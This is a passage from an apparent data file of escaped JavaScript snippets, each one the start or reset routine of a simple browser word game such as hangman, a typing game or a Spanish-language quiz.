\"clothe\", \"cloud\", \"coast\", \n\t\t\t\t\t\t \"coat\", \"cold\", \"collect\", \"colony\", \"color\", \"column\", \"come\", \"common\", \n\t\t\t\t\t\t \"company\", \"compare\", \"complete\", \"condition\", \"connect\", \"consider\", \"consonant\", \n\t\t\t\t\t\t \"contain\", \"continent\", \"continue\", \"control\", \"cook\", \"cool\", \"copy\", \"corn\", \n\t\t\t\t\t\t \"corner\", \"correct\", \"cost\", \"cotton\", \"could\", \"count\", \"country\", \"course\", \n\t\t\t\t\t\t \"cover\", \"cow\", \"crease\", \"create\", \"crop\", \"cross\", \"crowd\", \"cry\", \"current\", \n\t\t\t\t\t\t \"cut\", \"dad\", \"dance\", \"danger\", \"dark\", \"day\", \"dead\", \"deal\", \"dear\", \"death\", \n\t\t\t\t\t\t \"decide\", \"decimal\", \"deep\", \"degree\", \"depend\", \"describe\", \"desert\", \"design\", \n\t\t\t\t\t\t \"determine\", \"develop\", \"dictionary\", \"did\", \"die\", \"differ\", \"difficult\", \"direct\", \n\t\t\t\t\t\t \"discuss\", \"distant\", \"divide\", \"division\", \"do\", \"doctor\", \"does\", \"dog\", \"dollar\", \n\t\t\t\t\t\t \"done\", \"door\", \"double\", \"down\", \"draw\", \"dream\", \"dress\", \"drink\", \n\t\t\t\t\t\t \"drive\", \"drop\", \"dry\", \"duck\", \"during\", \"each\", \"ear\", \"early\", \"earth\", \"ease\", \n\t\t\t\t\t\t \"east\", \"eat\", \"edge\", \"effect\", \"egg\", \"eight\", \"either\", \"electric\", \"element\", \n\t\t\t\t\t\t \"else\", \"end\", \"enemy\", \"energy\", \"engine\", \"enough\", \"enter\", \"equal\", \"equate\", \n\t\t\t\t\t\t \"especially\", \"even\", \"evening\", \"event\", \"ever\", \"every\", \"exact\", \"example\", \n\t\t\t\t\t\t \"except\", \"excite\", \"exercise\", \"expect\", \"experience\", \"experiment\", \"eye\", \n\t\t\t\t\t\t \"face\", \"fact\", \"fair\", \"fall\", \"family\", \"famous\", \"far\", \"farm\", \"fast\", \"fat\",\n\t\t\t\t\t\t \"father\", \"favor\", \"fear\", \"feed\", \"feel\", \"feet\", \"fell\", \"felt\", \"few\", \"field\",\n\t\t\t\t\t\t \"fig\", \"fight\", \"figure\", \"fill\", \"final\", \"find\", \"fine\", \"finger\", \"finish\", \"fire\",\n\t\t\t\t\t\t \"first\", \"fish\", \"fit\", \"five\", \"flat\", \"floor\", \"flow\", \"flower\", \"fly\", \"follow\",\n\t\t\t\t\t\t \"food\", \"foot\", \"for\", \"force\", \"forest\", \"form\", \"forward\", \"found\", \"four\", \"fraction\",\n\t\t\t\t\t\t \"free\", \"fresh\", \"friend\", \"from\", \"front\", \"fruit\", \"full\", \"fun\", \n\t\t\t\t\t\t \"game\", \"garden\", \"gas\", \"gather\", \"gave\", \"general\", \"gentle\", \"get\", \"girl\", \"give\",\n\t\t\t\t\t\t \"glad\", \"glass\", \"go\", \"gold\", \"gone\", \"good\", \"got\", \"govern\", \"grand\", \"grass\",\n\t\t\t\t\t\t \"gray\", \"great\", \"green\", \"grew\", \"ground\", \"group\", \"grow\", \"guess\", \"guide\", \"gun\", \n\t\t\t\t\t\t \"had\", \"hair\", \"half\", \"hand\", \"happen\", \"happy\", \"hard\", \"has\", \"hat\", \"have\", \"he\",\n\t\t\t\t\t\t \"head\", \"hear\", \"heard\", \"heart\", \"heat\", \"heavy\", \"held\", \"help\", \"her\", \"here\",\n\t\t\t\t\t\t \"high\", \"hill\", \"him\", \"his\", \"history\", \"hit\", \"hold\", \"hole\", \"home\", \"hope\", \"horse\",\n\t\t\t\t\t\t \"hot\", \"hour\", \"house\", \"how\", \"huge\", \"human\", \"hundred\", \"hunt\", \"hurry\", \n\t\t\t\t\t\t \"ice\", \"idea\", \"if\", \"imagine\", \"in\", \"inch\", \"include\", \"indicate\", \"industry\",\n\t\t\t\t\t\t\"insect\", \"instant\", \"instrument\", \"interest\", \"invent\", \"iron\", \"is\", \"island\", \"it\", \n\t\t\t\t\t\t\"job\", \"join\", \"joy\", \"jump\", \"just\", \"keep\", \"kept\", \"key\", \"kill\", \"kind\", \"king\", \"kings\", \"knew\", \"know\", \n\t\t\t\t\t\t\"lady\", \"lake\", \"land\", \"language\", \"large\", \"last\", \"late\", \"laugh\", \"law\", \"lay\",\n\t\t\t\t\t\t\"lead\", \"learn\", \"least\", \"leave\", \"led\", \"left\", \"leg\", \"length\", \"less\", \"let\",\n\t\t\t\t\t\t\"letter\", \"level\", \"lie\", \"life\", \"lift\", \"light\", \"like\", \"line\", \"liquid\", \"list\",\n\t\t\t\t\t\t\"listen\", \"little\", \"live\", \"locate\", \"log\", \"lone\", \"long\", \"look\", \"lost\", \"lot\", \n\t\t\t\t\t\t\"loud\", \"love\", \"low\", \n\t\t\t\t\t\t\"machine\", \"made\", \"magnet\", \"main\", \"major\", \"make\", \"man\", \"many\", \"map\", \"mark\",\n\t\t\t\t\t\t\"market\", \"mass\", \"master\", \"match\", \"material\", \"matter\", \"may\", \"me\", \"mean\", \"meant\",\n\t\t\t\t\t\t\"measure\", \"meat\", \"meet\", \"melody\", \"men\", \"metal\", \"method\", \"middle\", \"might\",\n\t\t\t\t\t\t\"mile\", \"milk\", \"million\", \"mind\", \"mine\", \"minute\", \"miss\", \"mix\", \"modern\", \"molecule\",\n\t\t\t\t\t\t\"moment\", \"money\", \"month\", \"moon\", \"more\", \"morning\", \"most\", \"mother\", \"motion\",\n\t\t\t\t\t\t\"mount\", \"mountain\", \"mouth\", \"move\", \"much\", \"multiply\", \"music\", \"must\", \"my\", \n\t\t\t\t\t\t\"name\", \"nation\", \"natural\", \"nature\", \"near\", \"necessary\", \"neck\", \"need\", \"neighbor\",\n\t\t\t\t\t\t\"never\", \"new\", \"next\", \"night\", \"nine\", \"no\", \"noise\", \"noon\", \"nor\", \"north\", \"nose\",\n\t\t\t\t\t\t\"note\", \"nothing\", \"notice\", \"noun\", \"now\", \"number\", \"numeral\", \n\t\t\t\t\t\t\"object\", \"observe\", \"occur\", \"ocean\", \"of\", \"off\", \"offer\", \"office\", \"often\", \"oh\",\n\t\t\t\t\t\t\"oil\", \"old\", \"on\", \"once\", \"one\", \"only\", \"open\", \"operate\", \"opposite\", \"or\", \"order\",\n\t\t\t\t\t\t\"organ\", \"original\", \"other\", \"our\", \"out\", \"over\", \"own\", \"oxygen\", \n\t\t\t\t\t\t\"page\", \"paint\", \"pair\", \"paper\", \"paragraph\", \"parent\", \"part\", \"particular\", \"party\",\n\t\t\t\t\t\t\"pass\", \"past\", \"path\", \"pattern\", \"pay\", \"people\", \"perhaps\", \"period\", \"person\",\n\t\t\t\t\t\t\"phrase\", \"pick\", \"picture\", \"piece\", \"pitch\", \"place\", \"plain\", \"plan\", \"plane\",\n\t\t\t\t\t\t\"planet\", \"plant\", \"play\", \"please\", \"plural\", \"poem\", \"point\", \"poor\", \"populate\",\n\t\t\t\t\t\t\"port\", \"pose\", \"position\", \"possible\", \"post\", \"pound\", \"power\", \"practice\", \"prepare\",\n\t\t\t\t\t\t\"present\", \"press\", \"pretty\", \"print\", \"probable\", \"problem\", \"process\", \"produce\",\n\t\t\t\t\t\t\"product\", \"proper\", \"property\", \"protect\", \"prove\", \"provide\", \"pull\", \"push\", \"put\", \n\t\t\t\t\t\t\"quart\", \"question\", \"quick\", \"quiet\", \"quite\", \"quotient\", \n\t\t\t\t\t\t\"race\", \"radio\", \"rail\", \"rain\", \"raise\", \"ran\", \"range\", \"rather\", \"reach\", \"read\",\n\t\t\t\t\t\t\"ready\", \"real\", \"reason\", \"receive\", \"record\", \"red\", \"region\", \"remember\", \"repeat\",\n\t\t\t\t\t\t\"reply\", \"represent\", \"require\", \"rest\", \"result\", \"rich\", \"ride\", \"right\", \"ring\",\n\t\t\t\t\t\t\"rise\", \"river\", \"road\", \"rock\", \"roll\", \"room\", \"root\", \"rope\", \"rose\", \"round\",\n\t\t\t\t\t\t\"row\", \"rub\", \"rule\", \"run\", \n\t\t\t\t\t\t\"safe\", \"sail\", \"same\", \"sat\", \"saw\", \"scale\", \"science\", \"sea\", \"season\", \"second\",\n\t\t\t\t\t\t\"see\", \"seem\", \"select\", \"sell\", \"sense\", \"sentence\", \"serve\", \"settle\", \"several\",\n\t\t\t\t\t\t\"shape\", \"sharp\", \"sheet\", \"shine\", \"shoe\", \"shore\", \"should\", \"shout\", \"side\", \"sign\",\n\t\t\t\t\t\t\"silver\", \"simple\", \"sing\", \"sister\", \"six\", \"skill\", \"sky\", \"sleep\", \"slow\", \"smell\",\n\t\t\t\t\t\t\"snow\", \"soft\", \"soldier\", \"solve\", \"son\", \"soon\", \"south\", \"speak\", \"speech\", \"spell\",\n\t\t\t\t\t\t\"spoke\", \"spread\", \"square\", \"star\", \"state\", \"stay\", \"steam\", \"step\", \"still\", \"stood\",\n\t\t\t\t\t\t\"store\", \"straight\", \"stream\", \"stretch\", \"strong\", \"study\", \"substance\", \"success\",\n\t\t\t\t\t\t\"sudden\", \"sugar\", \"suit\", \"sun\", \"support\", \"surface\", \"swim\", \"symbol\", \n\t\t\t\t\t\t\"table\", \"tail\", \"take\", \"talk\", \"tall\", \"teach\", \"team\", \"teeth\", \"tell\", \"temperature\",\n\t\t\t\t\t\t\"ten\", \"term\", \"test\", \"than\", \"thank\", \"that\", \"the\", \"their\", \"them\", \"then\", \"there\",\n\t\t\t\t\t\t\"these\", \"they\", \"thick\", \"thin\", \"thing\", \"think\", \"third\", \"this\", \"those\", \"though\",\n\t\t\t\t\t\t\"thought\", \"thousand\", \"three\", \"through\", \"throw\", \"thus\", \"tie\", \"time\", \"tiny\",\n\t\t\t\t\t\t\"tire\", \"to\", \"together\", \"told\", \"tone\", \"too\", \"took\", \"tool\", \"top\", \"touch\",\n\t\t\t\t\t\t\"toward\", \"town\", \"track\", \"trade\", \"train\", \"travel\", \"tree\", \"triangle\", \"trip\",\n\t\t\t\t\t\t\"trouble\", \"truck\", \"true\", \"try\", \"tube\", \"turn\", \"twenty\", \"two\", \"type\", \n\t\t\t\t\t\t\"under\", \"unit\", \"until\", \"up\", \"us\", \"use\", \"usual\", \n\t\t\t\t\t\t\"valley\", \"value\", \"vary\", \"verb\", \"very\", \"view\", \"village\", \"visit\", \"voice\", \"vowel\", \n\t\t\t\t\t\t\"wait\", \"walk\", \"wall\", \"want\", \"war\", \"warm\", \"was\", \"wash\", \"watch\", \"water\", \"wave\",\n\t\t\t\t\t\t\"way\", \"we\", \"wear\", \"weather\", \"week\", \"weight\", \"well\", \"went\", \"were\", \"west\",\n\t\t\t\t\t\t\"what\", \"wheel\", \"when\", \"where\", \"whether\", \"which\", \"while\", \"white\", \"who\", \"whole\",\n\t\t\t\t\t\t\"whose\", \"why\", \"wide\", \"wife\", \"wild\", \"will\", \"win\", \"wind\", \"window\", \"wing\",\n\t\t\t\t\t\t\"winter\", \"wire\", \"wish\", \"with\", \"woman\", \"women\", \"wonder\", \"wood\", \"word\",\n\t\t\t\t\t\t\"yard\", \"year\", \"yellow\", \"yes\", \"yet\", \"you\", \"young\", \"your\", \"zoo\", \"zipper\"];\n\t\twordCount = 0;\n\t\tmistakeCount = 0;\n\t\ttimerFun = setInterval(function() {timer()}, 1000);\n\t\tstartTime = (new Date()).getTime();\n\t\tdocument.getElementById(\"timer\").innerHTML = \"Time remaining: \" + GAME_DURATION;\n\t\tdocument.getElementById(\"misses\").innerHTML = \"\";\n\t\t$('#info').hide();\n\t\t$('#gameBorder').css('visibility', 'visible');\n\t\tvar rando = words[Math.floor(Math.random() * words.length)];\n\t\tdisplayWord(rando, words, false);\n\t}", "function chooseWord () {\n var word = words[Math.floor(Math.random() * words.length)];\n answer = word.toUpperCase();\n hiddenWord(answer);\n}", "startGame() {\n this.phrase = new Phrase(this.getRandomPhrase());\n this.addClueToDisplay();\n this.phrase.addPhraseToDisplay();\n }", "function SetupGame() {\n\n var EasyWords = [\n \"float\", \"integer\", \"boolean\", \"enum\", \"long\", \"array\", \"dictionary\", \"list\", \"char\", \"string\", \"hash\",\n \"pointer\"\n\n ]\n\n var MediumWords = [\n \"afghanistan\", \"armenia\", \"palestine\", \"australia\", \"barbados\", \"brazil\", \"comoros\", \"croatia\", \"denmark\"\n , \"eritrea\", \"fiji\", \"france\", \"ghana\", \"germany\", \"iceland\", \"japan\"\n ]\n\n var HardWords = [\n \"cognac\", \"beignets\", \"stromboli\", \"jumbalaya\", \"enokitake\", \"acerola\", \"loquat\", \"mangosteen\", \"paneer\", \"samosas\", \"fajitas\", \"tostada\", \"eucharist\", \"crabcake\"\n ]\n\n\n if (difficulty == 0) {\n word = EasyWords[getRandomInt(EasyWords.length)];\n } else if (difficulty == 1) {\n word = MediumWords[getRandomInt(MediumWords.length)];\n } else {\n word = HardWords[getRandomInt(HardWords.length)];\n }\n\tword = word.toUpperCase();\n //console.debug(word);\n\n\n TitleScreen.style.display = \"none\";\n Game.style.display = \"inline-block\";\n\n for (var i = 0; i < word.length; i ++){\n showLines(word.charAt(i));\n }\n Lines = document.getElementsByClassName(\"Line\");\n\n for (var i = 65; i <= 90; i++) {\n showLetters(i);\n }\n}", "function startGame(){\n availableLetters = [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\"];\n alreadyGuessed=0;\n answer =[];\n randomBrand();\n createAnswer();\n setElements();\n start = true;\n audio.pause(); //when you win or when you lose sound\n audio.currentTime = 0;\n}", "function chooseRandomWord() {\n randomWord = wordList[Math.floor(Math.random() * wordList.length)].toUpperCase();\n //Set the random word chosen from the word list to aWord.\n aWord = new Word (randomWord);\n //Tell the user how many letters are in the word.\n console.log(\"Your word contains \" + randomWord.length + \" letters.\");\n console.log(\"Word to guess: \");\n //Use the Word constructor in Word.js to split the word and generate letters.\n aWord.splitWord();\n guessLetter();\n //aWord.lettersNeeded();\n \n }", "function randWord(obj) {\n\tgame.fullWord = game.answerKey[Math.floor(Math.random() * game.answerKey.length)];\n}", "function start()\n{\ndocument.getElementById(\"two\").style.marginTop=\"20%\";\n\nvar x = Math.floor((Math.random() * 25) + 1); // to display the fist word and this word will change after every 3 second...\n\ndocument.getElementById(\"two\").innerHTML =obj.spellings[x].word;\n\nsetInterval(function() {game()},4000); // changing word after every 3 se....\n}", "function startGame()\n{\n\t//selects random word\n\ttargetWord = wordBank[Math.floor(Math.random()* wordBank.length)];\n\ttargetWordArray = targetWord.split(\"\");\n\t//transforms word to an array of dashes\n\tfor(i=0; i<targetWord.length; i++)\n\t{\n\t\tdisplayWord.push(\" _ \");\n\t}\n\n\tdocument.getElementById(\"array-box\").innerHTML = displayWord.join(\"\");\n\tdocument.getElementById(\"instruction-box\").innerHTML = \"press any key to guess a letter\";\n\tdocument.getElementById(\"wins\").innerHTML = \"Wins: \" + wins;\n\tdocument.getElementById(\"losses\").innerHTML = \"Losses: \" + losses;\n\tdocument.getElementById(\"remaining-guesses\").innerHTML = \"Guesses Remaing: \" + remainingGuesses;\n\tdocument.getElementById(\"letters-guessed-box\").innerHTML = \"Letters Guessed: \" + wrongLetters;\n}", "function setWord() {\n currentWord = words[Math.floor(Math.random() * words.length)];\n word.innerHTML = currentWord;\n currentLocation = 0;\n }", "function gameStart() {\n resetCounters();\n generateRandomWord();\n hideTheWord(); \n document.getElementById(\"guesses\").innerHTML = guessesLeft;\n // Make variable to track letters to be guessed\n var lettersLeft = randWord.length;\n console.log(randWord);\n\n setupKeyLogging();\n \n document.getElementById(\"wins\").innerHTML = wins;\n \n \n\n\n removeHandler(); \n}", "function startGame() {\n pairMovieWithSounds();\n randomSounds(movie);\n addPhraseToDisplay();\n keyboardSetup();\n}", "function getNewWord() {\n\n if (challengedone) {\n // Reset variables to initial values\n lives = 10;\n matchesWin = 0;\n matchesLost = 0;\n badguess = 0;\n wordpool = [\"agnes\", \"barney\", \"bart\", \"carl\", \"edna\", \"homer\", \"kent\", \"krusty\", \"lenny\", \"lisa\", \"marge\", \"martin\", \"milhouse\", \"moe\", \"ned\", \"nelson\", \"patty\", \"ralph\", \"rod\", \"selma\", \"seymour\", \"todd\", \"tony\", \"troy\", \"waylon\", \"willie\"];\n\n // Set challenge mode ON\n challengedone = false;\n }\n\n // Select an index number based on the WORDPOOL array\n wordIndex = Math.floor(Math.random() * wordpool.length)\n\n // Randomly pick a word\n word = wordpool[wordIndex];\n\n // Show the word to the log... for cheaters!\n console.log(\"Word selected: \" + word);\n\n // Clear the GUESS and GUESSEDLETTERS arrays\n guess = [];\n guessedletters = [];\n\n // Reset LIVES and BADGUESSES to initial values for new game\n lives = 10;\n badguess = 0;\n\n // Show the image of the selected character based on WORD\n document.getElementById('hintImage').innerHTML = \"<h2>HINT IMAGE</h2><img src=\\\"./assets/images/\" + word + \".png\\\" alt=\\\"Hint image\\\" id=\\\"hintCanvas\\\">\";\n\n // Create GUESS word with -\n for (var i = 0; i < word.length; i++) {\n guess.push('-');\n }\n\n // Set game mode ON\n gamedone = false;\n\n // Update the labels\n updateGame();\n }", "function resetGame() {\n answer = choices[Math.floor(Math.random() * choices.length)];\n lives = 10;\n wrongArray = [];\n emptyWord = [];\n countBlank = answer.length;\n console.log(answer);\n createWord();\n }", "function newGame(){\n answer_word = words[Math.floor(Math.random() * words.length)];\n guess_count = 7;\n masked_word = hideWord(answer_word);\n incorrect_letter_guesses = new Set();\n $(\".guess-title\").text(\"Your Guesses\");\n $(\".panel-title\").text(\"Guess the Word\");\n $(\".hint\").text(\"Hint: Animal\");\n $(\"#result\").text(masked_word);\n}", "startGame() {\r\n $(\"#overlay\").hide();\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n }", "function wordGame(){\n\n questions=['Famoso barrio electronico de Tokio','Provincia de catalunya','Se usa en la pesca','Mamifero marino con aspecto amigable','Arma comun usada en la epoca medieval',\n 'Pais del sudeste asiatico','Felino de cuatro patas','Lugar donde pasar la noche','Causa fiebre','Mamifero comun en Africa','Ataque suicida de los pilotos japoneses','Satelite de la tierra',\n 'Planeta cercano al sol del sitema solar','Que hace daño o es perjudicial.','Se usa pra hacer fuego','Mamifero nativo de Malasia e Indonesia','Monumento del antiguo Egypto','Se elabora a partir de leche quajada',\n 'Lectura de composiciones poeticas','Tambien conocida como Russia Asiatica','Herramienta electrica usada en tareas de bricolaje','Criatura mitologica con forma de caballo blanco',\n 'Contiene lava','Reproductor de audio portatil','Instrumento musical de percusion','Web dedicada a compartir videos','Ciencia que estudia los animales']\n \n anwsers=['akihabara','barcelona','cebo','delfin','espada','filipinas','gepardo','hotel','Infeccion','jirafa','kamikaze','luna','Mercurio','nocivo','leña','oranguntan','piramide','queso','recital',\n 'siberia','taladro','unicornio','Volcan','walkman','xilofono','youtube','zoologia']\n \n letters=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"Ñ\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"]\n\n for(let i=0;i<letters.length;i++){//asi se restarura el color de cada letra asi como su fundo azul\n document.getElementById(letters[i]).style.background=\"#014B94\";\n document.getElementById(letters[i]).style.color=\"white\";\n }\n\n document.getElementById(\"showPregunta\").innerHTML=\"\";\n document.getElementById(\"Respuesta\").innerHTML=\"\";\n document.getElementById(\"nombreJugador\").innerHTML=\"\";\n document.getElementById(\"aciertos\").innerHTML=\"\";\n document.getElementById(\"fallos\").innerHTML=\"\";\n document.getElementById(\"showValue\").innerHTML=\"\";\n failed=0;\n correct=0;\n questionsNav=0;\n totalQuestions=27;//nos sirve para saber cuando no quedan preguntas y se ha acabado el juego;\n \n\n playerName = prompt('Cual es tu nombre ?')\n document.getElementById(\"nombreJugador\").innerHTML=playerName\n alert(\"Empezamos!\")\n questionShow();\n}", "startGame() {\n overlay.style.display = 'none';\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function suggestion() {\n let randomAdjective = findRandomEntry(adjectives);\n let randomAgent = findRandomEntry(agents);\n let randomVerb = findRandomEntry(verbs);\n let randomPreposition = findRandomEntry(prepositions);\n let randomEnding = findRandomEntry(endings);\n currentSuggestion = (randomAdjective + \" \" + randomAgent + \" \" + randomVerb + \" \" + randomPreposition + \" \" + randomEnding);\n speak(currentSuggestion);\n boxWrite(currentSuggestion + ' \\n (If you would like to hear this again, say \"Could you repeat that?\")')\n}", "startGame(){\r\n startScreen.style.display = \"none\"\r\n this.activePhrase = this.getRandomPhrase(this.phrases).toLowerCase();\r\n chosenPhrase = new Phrase(this.activePhrase);\r\n chosenPhrase.addPhraseToDisplay()\r\n }", "function newGame() {\n currentWord =\n // when the game chooses a word for the players to guess, i would like it to choose from the given array at the top\n // of the file. First i need to know how many index places there are in the array, i can do that by calling \".length\"\n // on the \"dragonBallZWords\" array, then once i know that I can multiply that number times the math.random()\n // function. the math.random function will give me a puseudo-random number between 0 and less than 1. Now, because\n // my indexes are whole numbers and the math.random() will likely return to me a decimal, in order to get that number\n // to be a whole number in going to need to use the math.floor(). which is design to take whatever number it is given\n // and round it down to the nearest whole number.\n dragonBallZWords[Math.floor(Math.random() * dragonBallZWords.length)]\n console.log(\"The current word chosen is: \" + currentWord)\n\n // i created a new variable called \"currWrdLtrs\" this is going to hold array of the the current word chosen by\n // the game. The only difference is that im going to use the the .spit() method to turn the word from a string into\n // and array of items.\n currWrdLtrs = currentWord.split(\"\")\n console.log(\"The current word's letters are: \" + currWrdLtrs)\n\n // this variable will eventually hold the number on underscores that correspond with the length of the word chosen\n // by the game.\n numBlanks = currWrdLtrs.length\n console.log(\"The number of letters in the current word is: \" + numBlanks)\n\n // total attempts the gmaer is alloted\n guessesLeft = 9\n // this will hold the wrong answer choices\n wrongLtrs = []\n // correctly chosen words\n answerDisplay = []\n\n // I will be making the 1 character disappear for every wrong answer that is chosen by the user ive written the\n // following so i can manipulate the css, by using \"document.getElementById\" I can have the computer go in to my\n // html document and select my images based off the id that I have given to them. Then by using the \".removeAttribute\"\n // method and remove any given attribute ive passed in, in this case ive removed the style attribute.\n\n if ((guessesLeft = 9)) {\n document.getElementById(\"friezaImg\").removeAttribute(\"style\")\n document.getElementById(\"krillinImg\").removeAttribute(\"style\")\n document.getElementById(\"piccoloImg\").removeAttribute(\"style\")\n document.getElementById(\"trunksImg\").removeAttribute(\"style\")\n document.getElementById(\"brolyImg\").removeAttribute(\"style\")\n document.getElementById(\"gohanImg\").removeAttribute(\"style\")\n document.getElementById(\"vegetaImg\").removeAttribute(\"style\")\n document.getElementById(\"gokuImg\").removeAttribute(\"style\")\n }\n\n //I need represent the correct word's length with corresponding underscores, so i created a variable called\n //\"numBlanks\". \"numBlanks\" value is a integer right now an is holding the length on the array \"currWrdLtrs\"\n //which is holding the actual letters. This for loop is designed to go through the array of letters that is\n //passed to it and subsitute each character with an underscore.\n\n for (i = 0; i < numBlanks; i++) {\n answerDisplay.push(\"_\")\n console.log(answerDisplay)\n }\n\n document.getElementById(\"theWord\").innerHTML = answerDisplay.join(\" \")\n document.getElementById(\"remGuesses\").innerHTML =\n \"Number of Guesses Remaining: \" + \" \" + guessesLeft\n document.getElementById(\"wins\").innerHTML = \"Wins: \" + \" \" + wins\n document.getElementById(\"losses\").innerHTML = \"Losses: \" + \" \" + losses\n}", "startGame() {\n overlay.style.display = \"none\";\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function Play(){\n\n // early out\n if (maxLettersInput.value < 3){\n alert(\"You much choose a value greater then 2.\");\n maxLettersInput.value = 3;\n return;\n }\n\n let possibleWords;\n // find words in the selected catagory\n for ( const wordGroup of wordBank )\n if ( wordGroup.category === categoriesDropdown.value)\n possibleWords = [...wordGroup.words];\n\n // select only the words with correct number of letters\n FilterWordsBySize(possibleWords, maxLettersInput.value);\n\n // randomly choose one of those words\n let length = possibleWords.length;\n let randomIndex = Math.floor(Math.random() * length)\n let chosenWord = possibleWords[randomIndex];\n\n alert(\n`Picking a word with ${maxLettersInput.value} letters or fewer...\nFound a word with ${chosenWord.length} letters!\nStart guessing.`);\n\n // initialize the word letter boxes\n SetLetterboxVisibility(chosenWord.length);\n\n // reset the game\n hangman = new HangmanGame(chosenWord);\n let guessedLetters = [];\n EnableGuessBtns();\n letterGuessInput.value = \"\";\n wordGuessInput.value = \"\";\n SetProgress(manProgress, 0);\n SetProgress(wordProgress, 0);\n guessHistory.innerText = \"\";\n guessRemainingCountElement.innerText = 5;\n\n // draw gallows\n SetContentAnimated(gallowsDisplay, HangmanGame.GetRenderedMan(0), HangmanGame.GetRenderedMan(), 5, 150);\n\n // sound effect\n playSound.play();\n}", "function Initiate () {\n\n // MoodMusic ();\n\n SelectedSlang = slang[x=(Math.floor(Math.random() * slang.length))]; //randomly selects slang word\n\n MatchingDefnNumber = x;\n\n console.log (MatchingDefnNumber);\n\n MatchingDefinition = defn[MatchingDefnNumber];\n\n console.log(MatchingDefinition);\n\n console.log(slang.length)\n\n document.getElementById(\"Guesses-Remaining\").innerHTML = \" \" + RemainingTrys;\n\n console.log(SelectedSlang);\n\n SlangLetters = SelectedSlang.split(\"\"); //divides word out letter by letter in an array\n\n EmptySlots = SlangLetters.length; //Determines number of empty slots to use based on number of letters in array\n\n //enters empty slot spaces into an array based on how long the word is; this info comes from EmptySlots var above\n for (var w = 0; w < EmptySlots; w++) {\n FilledAndEmpty.push(\"_\");\n }\n\n //Update empty slots in HTML\n document.getElementById(\"Word-Up\").innerHTML = \" \" + FilledAndEmpty.join (\" \");\n\n}", "function startGame() {\n overlay.style.display = 'none'; \n const pickedPhraseArray = getRandomPhraseAsArray(phrases);\n addPhraseToDisplay(pickedPhraseArray);\n}", "function startGame() {\n\tguesses = 10;\n\tcurrentWord = new Word();\n\tcurrentWord.logWord();\n takeInput();\n}", "function gameInit() {\n\n // Reset Used Letters.\n userLetterGuesses.textContent = \"\";\n\n // Create an array to hold the words the player must guess.\n var wordList = [\"tree\", \"grass\", \"soil\", \"weeds\", \"rain\", \"ocean\", \"life\", \"flowers\", \"forrest\"];\n // Randomize each word.\n var randomWord = wordList[Math.floor(Math.random() * wordList.length)];\n // Stores a single random word so we can populate the DOM.\n var singleGuess = [];\n // Hide the words with underscores.\n for (var i = 0; i < randomWord.length; i++) {\n singleGuess.push(\"_\");\n }\n // Populate the hidden random word to the DOM.\n randomWordDisplay.textContent = singleGuess.join(\" \");\n\n // Make the cheaters feel bad about themselves.\n var feelBadArray = [\n \"I caught you red handed, cheater! Just take it.\",\n \"Cheating, in my game? I'm not mad, just disappointed. Go on and take it.\",\n \"Cheating isn't a good look, you know. Pathetic. Just take the word and go.\",\n \"Do you really think this is just another generic hangman game with all the answers logged in the console? Oh wait. JUST TAKE IT!\",\n ];\n // Randomize the feel bad phrases.\n var randomPhrase = feelBadArray[Math.floor(Math.random() * feelBadArray.length)];\n\n // Create a little character in the console that makes the player feel bad for cheating!\n console.log(\"%cCHEATER ALERT!\", \"color: red; font-weight: bold; text-shadow: 2px 2px 10px; font-size: 200%;\");\n console.log(' ಠ_ಠ' + \" \" + randomPhrase + \"\\n\" +\n ' /█──' + \" \" + \"The word is: '\" + randomWord + \"'.\" + '\\n' +\n ' .Π.' + '\\n' +\n '');\n\n // Log the players keyboard events.\n document.onkeyup = function (event) {\n var playerKeyPress = event.key;\n // Track only the players keypresses (A through Z; A = 65 || Z = 90).\n if (event.keyCode >= 65 && event.keyCode <= 90) {\n // Change hangmans hang state based on 'playerKeyPress'.\n document.getElementById(\"baseImg\").src = \"./assets/images/hang-states/try-guess-\" + playerRemainingGuesses + \".jpg\";\n\n // Default Keypress Sound.\n defaultPress.volume = 0.04; // MP3 Volume.\n defaultPress.play();\n\n // If the player picks a correct letter, replace the underscore with the correct letter.\n var guess = playerKeyPress;\n for (var j = 0; j < randomWord.length; j++) {\n if (randomWord[j] === guess) {\n // Override the underscore with the correct letter.\n singleGuess[j] = guess;\n // Update the DOM to show the players progress.\n randomWordDisplay.textContent = singleGuess.join(\" \");\n }\n // Win Condition.\n if (randomWord === singleGuess.join(\"\")) {\n // Let the player know they won.\n alert(\"You are correct, the word is '\" + randomWord + \"'!\");\n // Increment a win point.\n playerWon.textContent = playerGamesWon++;\n\n // Reset game.\n playerRemainingGuesses = 8;\n // Reset Hangman.\n document.getElementById(\"baseImg\").src = \"./assets/images/hang-states/try-default.jpg\";\n // Re-Initialize Game.\n gameInit();\n // Break Statement Execution.\n break;\n }\n // Loss Condition.\n if (playerRemainingGuesses === 0) {\n // Let the player know they lost the game.\n alert(\"Better luck next time, the word is '\" + randomWord + \"'!\");\n // Disable Game.\n randomWordDisplay.style.display = \"none\";\n // Add a loss to the counter.\n playerLost.textContent = playerGamesLost++;\n // Show Dead Hangman.\n document.getElementById(\"baseImg\").src = \"./assets/images/hang-states/try-loss.jpg\";\n\n // Reset game.\n setTimeout(function () {\n // Re-Enable Game.\n randomWordDisplay.style.display = \"block\";\n // Reset Hangman.\n document.getElementById(\"baseImg\").src = \"./assets/images/hang-states/try-default.jpg\";\n }, 3000);\n\n // Reset Guesses\n playerRemainingGuesses = 8;\n\n // Re-Initialize Game.\n gameInit()\n // Break Statement Execution.\n break;\n }\n }\n\n // Populate remaining guesses.\n pGuessesRemaining.textContent = playerRemainingGuesses;\n // Remaining guess deductor.\n playerRemainingGuesses--;\n\n // Each time a letter is typed, put it into the guess box.\n userLetterGuesses.textContent += playerKeyPress + \" \";\n }\n }\n}", "function startRandomGame() {\n\n}", "startGame() {\r\n document.getElementById('overlay').style.display = 